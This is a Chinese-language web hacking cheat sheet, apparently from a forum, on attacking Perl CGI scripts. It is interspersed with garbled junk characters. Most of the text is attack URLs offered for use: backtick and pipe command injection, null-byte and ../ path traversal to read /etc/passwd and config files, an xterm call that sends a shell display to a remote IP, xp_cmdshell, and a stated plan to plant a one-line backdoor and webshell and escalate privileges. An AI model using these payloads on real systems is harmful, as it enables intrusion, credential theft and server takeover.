总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
- H# u. j3 i$ |: i. d3 P Tcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 - j0 p+ s3 f# w. o
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
7 k' q# r: I4 V. u4 I# W注“
6 D: d0 s8 _4 A" q, U5 pperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 $ L2 l/ e7 f7 y: ~: ^
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
1 |' {$ Q& a: [ ^* ?
: {& i" L; g. m1 w3 O* ~+ Fhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 3 [8 f. T9 m: {, F/ J1 @' k
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
( h$ N& D; K6 d: }1 ^http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
2 k& G& u6 H% G, ?# yhttp://target.com/cgi-bin/home/news/sub.pl?`id`
) t5 C, n4 ~. g' bhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
, e' p4 l9 q2 y) N L: C, t9 J% |2 Nhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
- O8 Q* k" p3 i- D7 a6 o6 H
* n4 o6 S6 Y* d8 \% `; ^http://target.com/test.pl;ls|
( k# @- z% ~1 h) q+ Vhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| - Y1 p C8 j- w9 c9 z7 x& k
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| 2 `) A0 M' Z3 ], ]
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 " k$ d Z: n' f2 Q
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 + z; O( _2 c* @1 _
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection ( e5 h! K2 |( w' p8 w0 R' G
4 @4 I& n' W- _! }http://target.com/test.pl?&........ /../../etc/passwd
4 |9 i: {! B) A4 i% L& u7 `8 r- C) @
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ / a/ z9 }+ `, l, Q1 U
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
4 A7 N9 b7 p9 C+ f+ Qhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
& ? B# [ o% J$ f8 z$ S3 @
- X# o: u# C9 H% ^5 lhttp://www.target.org/show.php?f ... /include/config.php 查看php代码
2 V& r! l0 t2 a7 c9 Lhttp://www.target.org/show.php?f ... ng/admin/global.php ' T, ?& Z4 n' K) i' Q
4 p' B2 g9 A. ?: z/ ~emm和ps的一句话
# U# X" Y8 [( D; s) L% q5 {, b& ]: E# A2 O; H1 r
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
: M* k9 q7 W {4 F7 `: i3 Z9 D" o) C4 T. P6 t. h
>bbb%20| % Q9 ]9 }% n8 L& _ a
/ X4 S' v4 J3 M3 j/ ^5 Z+ P* U
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 3 T9 }+ k5 F2 B; ?, e7 }1 L
- o4 H) Y4 B9 H2 H( [. {
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 5 _9 e2 @/ `7 B y0 l, S3 ?) ~. \
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
+ ~8 w5 K1 Q# h" I, O% g
2 X. G$ p i. L3 {相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
5 E, \* e4 \4 zhttp://target.com/index.html#cmd.exe : ~$ x' z: g- o. n) W2 C5 q [
http://target.com/index.html?dummyparam=xp_cmdshell
C3 b! g4 L4 L/ i) L& Xlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
0 l2 Y; S4 _+ i4 p |